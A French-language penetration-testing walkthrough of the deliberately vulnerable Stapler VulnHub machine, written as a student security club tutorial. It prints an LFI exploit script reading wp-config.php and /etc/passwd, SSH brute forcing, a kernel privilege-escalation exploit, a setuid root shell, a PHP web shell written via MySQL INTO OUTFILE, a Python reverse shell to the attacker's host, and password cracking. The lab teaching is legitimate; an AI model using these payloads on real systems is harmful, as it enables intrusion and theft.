Démonstration de Pentest Web

Présentation des outils

zTeeed

Table des matières

Préambule

Ce n'est pas une mauvaise idée de consulter la formation « From webshell to root » sur le site d'HackademINT ;)

Pour en apprendre plus sur l'administration système :

- Il faut mettre les mains dans le cambouis !!
- Achetez un PC type Thinkpad Lenovo pas trop cher sur leboncoin à moins de 100€
- Achetez un petit switch
- Branchez tout ça dans votre chambre Maisel. Avec une IP publique sur la machine, vous pouvez commencer a configurer des trucs en remote. Les idéees viennent d'elles-mêmes ensuite.

Le pentest web c'est majoritairement :

- De l'expérience
- Savoir où aller
- Connaitre les bons outils

Pour commencer

Mise en place de la VM

- Téléchargez VirtualBox (vous pouvez tout faire avec qemu pour les braves :D)
- Téléchargez la VM pour le TP : https://www.vulnhub.com/entry/stapler-1,150/

```
vboxmanage hostonlyif vboxnet0
```

Allez dans « Configuration –> Réseau –> hôte privé vboxnet0 »

Objectifs

- Récupérer un accès root sur la machine
- Récupérer le document `/root/flag.txt`

Comment y parvenir ?

- Analysez les services disponibles sur la VM
- Trouvez les users existants sur la machine
- Obtenez un accès shell avec un user lambda
- Réalisez une élévation de privilèges

Méthode principal

Scanner les services de la VM

- Quelle est l'IP de ma machine ?

```
ip a | grep vboxnet0 -A5 | grep "inet "
ping 192.168.56.101
netdiscover -i vboxnet0
```

On peut configurer dans son `/etc/hosts` un nom de domaine associé à cette IP pour se faciliter la tâche, exemple :

```
192.168.56.102 stapler
```

```
nmap :
-A qui permet la détection des OS et versions de logiciels utilisés
-O : Active la détection d'OS
-T[0-5] : Choisit une politique de temporisation (plus élevée, plus rapide)
-p <plage de ports> : Ne scanne que les ports spécifiés
-oA <basename> : Sortie dans les trois formats majeurs en même temps
```

```
# Nmap 7.70 scan initiated Sun Oct 21 00:43:42 2018 as: nmap -sS -A -O -n -p1-60000 -oA result 192.168.56.102
Nmap scan report for 192.168.56.102
Host is up (0.00056s latency).
Not shown: 59988 filtered ports
PORT      STATE  SERVICE     VERSION
20/tcp    closed ftp-data
21/tcp    open   ftp         vsftpd 2.0.8 or later
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: PASV failed: 550 Permission denied.
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to 192.168.56.101
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 2
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp    open   ssh         OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 81:21:ce:a1:1a:05:b1:69:4f:4d:ed:80:28:e8:99:05 (RSA)
|   256 5b:a5:bb:67:91:1a:51:c2:d3:21:da:c0:ca:f0:db:9e (ECDSA)
|_  256 6d:01:b7:73:ac:b0:93:6f:fa:b9:89:e6:ae:3c:ab:d3 (ED25519)
53/tcp    open   domain      dnsmasq 2.75
| dns-nsid:
|_  bind.version: dnsmasq-2.75
80/tcp    open   http        PHP cli server 5.5 or later
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
123/tcp   closed ntp
137/tcp   closed netbios-ns
138/tcp   closed netbios-dgm
139/tcp   open   netbios-ssn Samba smbd 4.3.9-Ubuntu (workgroup: WORKGROUP)
666/tcp   open   doom?
| fingerprint-strings:
```

```
39 |   NULL :
40 |     message2.jpgUT
41 |       [...]
42 |_    .npy.9
43 3306/tcp  open   mysql       MySQL 5.7.12-0ubuntu1
44 | mysql-info :
45 |   Protocol : 10
46 |   Version : 5.7.12-0ubuntu1
47 |   Thread ID : 7
48 |   Capabilities flags : 63487
49 |   Some Capabilities : Support41Auth, SupportsTransactions,
      Speaks41ProtocolOld, Speaks41ProtocolNew, ConnectWithDatabase,
      IgnoreSigpipes, SupportsLoadDataLocal, FoundRows, LongPassword,
      DontAllowDatabaseTableColumn, InteractiveClient, ODBCClient,
      IgnoreSpaceBeforeParenthesis, SupportsCompression, LongColumnFlag,
      SupportsMultipleStatments, SupportsAuthPlugins,
      SupportsMultipleResults
50 |   Status : Autocommit
51 |   Salt : b2\x1B0\x18L+\x0E\x06\x18\x18~\x1FVn\x17/RWC
52 |_  Auth Plugin Name : 88
53 12380/tcp open   http        Apache httpd 2.4.18 ((Ubuntu))
54 |_http-server-header : Apache/2.4.18 (Ubuntu)
55 |_http-title : Tim, we need to-do better next year for Initech
56 1 service unrecognized despite returning data. If you know the service/
      version, please submit the following fingerprint at https ://nmap.org
      /cgi-bin/submit.cgi?new-service :
57                    [...]
58 MAC Address : 08 :00 :27 :C5 :18 :65 (Oracle VirtualBox virtual NIC)
59 Device type : general purpose
60 Running : Linux 3.X|4.X
61 OS CPE : cpe :/o :linux :linux_kernel :3 cpe :/o :linux :linux_kernel :4
62 OS details : Linux 3.2 - 4.9
63 Network Distance : 1 hop
64 Service Info : Host : RED; OS : Linux; CPE : cpe :/o :linux :linux_kernel
65
66 Host script results :
67 |_clock-skew : mean : 1h39m58s, deviation : 34m38s, median : 1h59m57s
68 |_nbstat : NetBIOS name : RED, NetBIOS user : <unknown>, NetBIOS MAC : <
      unknown> (unknown)
69 | smb-os-discovery :
70 |   OS : Windows 6.1 (Samba 4.3.9-Ubuntu)
71 |   Computer name : red
72 |   NetBIOS computer name : RED\x00
```

```
|   Domain name: \x00
|   FQDN: red
|_  System time: 2018-10-21T01:45:33+01:00
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode:
|   2.02:
|_    Message signing enabled but not required
| smb2-time:
|   date: 2018-10-21 02:45:33
|_  start_date: N/A

TRACEROUTE
HOP RTT     ADDRESS
1   0.56 ms 192.168.56.102

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Oct 21 00:46:05 2018 -- 1 IP address (1 host up) scanned in 143.30 seconds
```

On fouine ...

- Sur quels ports sont distribués les services ftp / ssh / samba / apache ?

On découvre un server web sur le port 12 380. On utilise donc les outils d'exploration et on trouve un wordpress. Il faut noter que l'observation du fichier d'indexation des moteurs de recherche `robots.txt` aurait permis d'arriver au même résultat. On se rend donc sur https://stapler:12380/blogblog.

`wpscan` est un outil d'analyse des wordpress qui nous permet de trouver facilement les exploits et les références associées aux vulnérabilités. On a également besoin de disable tls du fait que le certificat ssl du site web pose problème (essayez avec les commandes simples, les options servent surtout à debugguer suivant notre cas).

On cherche des exploits

Les outils de scans / d'exploration et d'analyse :

- `nikto -h (host)`
- `gobuster -w wordlist -u url`
- `wpscan --url https://stapler:12380/blogblog/ --enumerate u --disable-tls-checks --wp-content-dir wp-content`
- `wpscan --url https://stapler:12380/blogblog/ --enumerate vp --disable-tls-checks --wp-content-dir wp-content`

On récupère un script permettant d'exploiter un des plugins du wordpress.
`searchsploit advanced video`

```
1 Exploit Title :                                                    |
     Path : (/usr/share/exploit-db/)
2 WordPress Plugin Advanced Video 1.0 - Local File Inclusion         |
     exploits/php/webapps/39646.py
```

```
cat /usr/share/exploit-db/exploits/webapps/php/39646.py
```

```
#!/usr/bin/env python

# Exploit Title : Advanced-Video-Embed Arbitrary File Download / Unauthenticated Post Creation

# Exploit - Print the content of wp-config.php in terminal (default Wordpress config)

import random
import urllib2
import re

url = "http ://127.0.0.1/wordpress" # insert url to wordpress

randomID = long(random.random() * 10000000000000000L)

objHtml = urllib2.urlopen(url + '/wp-admin/admin-ajax.php?action=ave_publishPost&title=' + str(randomID) + '&short=rnd&term=rnd&thumb=../wp-config.php')
content =  objHtml.readlines()
for line in content :
    numbers = re.findall(r'\d+',line)
    id = numbers[-1]
    id = int(id) / 10

objHtml = urllib2.urlopen(url + '/?p=' + str(id))
content = objHtml.readlines()

for line in content :
    if 'attachment-post-thumbnail size-post-thumbnail wp-post-image' in line :
        urls=re.findall('"(https? ://.*?)"', line)
        print urllib2.urlopen(urls[0]).read()
```

On a besoin de bypass la vérification du certificat SSL :

```
import ssl
ssl._create_default_https_context = ssl._create_unverified_context
```

Le plus simple est de faire une requête dans le navigateur à https://stapler:12380/blogblog/wp-admin/admin-ajax.php?action=ave_publishPost&title=123456789&short=rnd&term=rnd&thumb=/etc/passwd. On va regarder dans https://stapler:12380/blogblog/wp-content/uploads et on télécharge le résultat. Lorsque que l'on cherche à récupérer des fichiers côté server, le fichier `/etc/passwd` est un bon test car sur tout système unix, ce fichier possède les droits de lecture pour tous les users. De plus, cela nous permet de connaitre les users afin de forcer une connexion SSH.

wget https://stapler:12380/blogblog/wp-content/uploads/554398209.jpeg –no-check-certificate

On a donc la liste des users :

```
peter :x :1000 :1000 :Peter,,, :/home/peter :/bin/zsh
...
elly :x :1029 :1029 : :/home/elly :/bin/bash
```

On récupère un shell

```
hydra -L users.txt stapler ssh -e nsr
[22][ssh] host : stapler   login : SHayslett   password : SHayslett
```

On élève nos privilèges

Afin de réaliser l'élévation de privilèges, on se renseigne sur la version du noyau linux ainsi que la version de la distribution utilisée :

```
lsb_realease -a
Distributor ID : Ubuntu
Description :   Ubuntu 16.04 LTS
Release :   16.04
```

```
Codename :   xenial

uname -a
Linux red.initech 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18 :34 :49
    UTC 2016 i686 i686 i686 GNU/Linux
```

Dans notre cas voici les ressouces utiles :

- https://www.exploit-db.com/exploits/39772/
- https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip

```
scp 39772.zip SHayslett@stapler :/tmp
ssh SHayslett@stapler
cd /tmp/
unzip 39772.zip
cd 39772
tar xvf exploit.tar
cd ebpf_mapfd_doubleput_exploit
./compile.sh
./doubleput
```

On obtient alors un shell root :

```
cat /root/flag.txt

~~~~~~~~~~<(Congratulations)>~~~~~~~~~~
                          .-'''''-.
                          |'-----'|
                          |-.....-|
                          |       |
                          |       |
         _,._             |       |
    __.o`   o`"-.         |       |
 .-O o `"-.o   O )_,._    |       |
( o   O  o )--.-"`O   o"-.`'-----'`
 '--------'  (   o  O    o)
              `----------`
b6b545dc11b7a270f4bad23432190c75162c4a2b
```

Autres Méthodes

L'élévation de privililège bis : Choisir le bon user

En regardant dans `/etc/group` on remarque que le user `peter` est sudoer donc on cherche des informations le concernant.

```
cat /etc/group | grep sudo
grep -R . | grep -i peter
JKanode/.bash_history :sshpass -p JZQuyIN5 peter@localhost
#sshpass -p JZQuyIN5 peter@stapler
ssh peter@stapler
password : JZQuyIN5
sudo su
```

L'élévation de privilège ter : Utiliser un cronjob

> Cron est le gestionnaire des tâches devant être exécutées à un moment précis. Chaque utilisateur a un fichier crontab, lui permettant d'indiquer les actions à effectuer régulièrement.

On cherche des cronjobs writables éventuels éxécutés par root pour setup un setuid.

```
find / -name *cron* > /tmp/output
cat /usr/local/sbin/cron-logrotate.sh
#! /bin/bash
gcc -o /tmp/xx /tmp/xx.c
chmod 777 /tmp/xx
chmod u+s /tmp/xx
```

`cat /tmp/xx.c`

```
int main(void) {
setgid(0); setuid(0);
execl("/bin/sh","sh",0); }
```

Il faut attendre assez longtemps, et lorsque que le cronjob est déclenché il suffit d'éxécuter `./xx` et on devient root

Planter un reverse shell depuis le wordpress

On réutilise le même exploit pour aller chercher le fichier suivant :
https://stapler:12380/blogblog/wp-admin/admin-ajax.php?action=ave_publishPost&title=123456789&short=rnd&term=rnd&thumb=../wp-config.php

```
<?php
/**
 * The base configurations of the WordPress.
 */

define('DB_USER', 'root');
define('DB_PASSWORD', 'plbkac');
define('DB_HOST', 'localhost');
define('DB_CHARSET', 'utf8mb4');
```

On peut ainsi facilement se connecter à la base de données avec `mysql -u root -p -h stapler`.
On aurait aussi pu forcer la connexion à l'aide de métasploit :

```
msfconsole
search mysql
use auxiliary/scanner/mysql/mysql_login
show options
set RHOSTS <Target IP>
#set USER_FILE /root/<your_username_file>
set USERNAME root
set PASS_FILE /root/<your_password_file>
exploit
```

Pour créer la wordlist on peut utiliser `crunch` :

```
cd /tmp/1.txt
x=""; for i in `seq 1 6`; do x=$x"@"; crunch $i $i -t $x -o $i.txt;
   done
```

On a donc :

```
mysql -u root -p -h 192.168.56.102
password : plbkac
show databases
use wordpress
show tables
descript wp_users
select * from wp_users
SELECT user_login, user_pass FROM wp_users;
```

Avec hashcat on casse les mots de passe de la base de données pour se connecter sur le wordpress :

```
cat md5.txt
john :$P$B7889EMq/erHIuZapMB8GEizebcIy9.
...
pam :$P$BuLagypsIJdEuzMkf20XyS5bRm00dQ0

hashcat -a 0 -m 400 md5.txt wordlist -O
hashcat -a 3 -m 400 md5.txt -i -1 ?l?d?u ?1?1?1?1?1?1?1?1?1?1 -O
hashcat -m 400 md5.txt --username --show
```

On peut alors se connecter avec l'un des users (john est administrateur) sur https://stapler/blogblog/wp-admin

Si vous vous souvenez bien on peut exécuter des commandes sur les microsoft sql servers et sur un server mysql, on peut faire des trucs sympathiques aussi :

```
Select "<?php echo shell_exec($_GET['cmd']);?>" into outfile "/var/www/
    https/blogblog/wp-content/uploads/shell.php";
```

Pour obtenir le path sur server web, il suffit de faire une requête échouant sur le précedant exploit :
https://stapler:12380/blogblog/wp-admin/admin-ajax.php ?action=ave_publishPost&title=444444444444&short=rr

On a donc un script php qui prend un paramètre GET « cmd » et qui exécute son contenu en shell exec, on plante alors le reverse shell :

- Ressource : http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

Sur notre pc : `nc -lvvp 443`

Sur le navigateur :
https://stapler:12380/blogblog/wp-content/uploads/shell.php?cmd=python%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%22192.168.56.1%22,443));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call(%5B%22/bin/sh%22,%22-i%22%5D);%27

On récupère alors un shell. Il ne reste plus qu'à faire l'élévation de priviliège comme précedemment :

```
python -c 'import pty;pty.spawn("/bin/bash")'
cd /home
find -name ".bash_history" -exec cat {} \;
```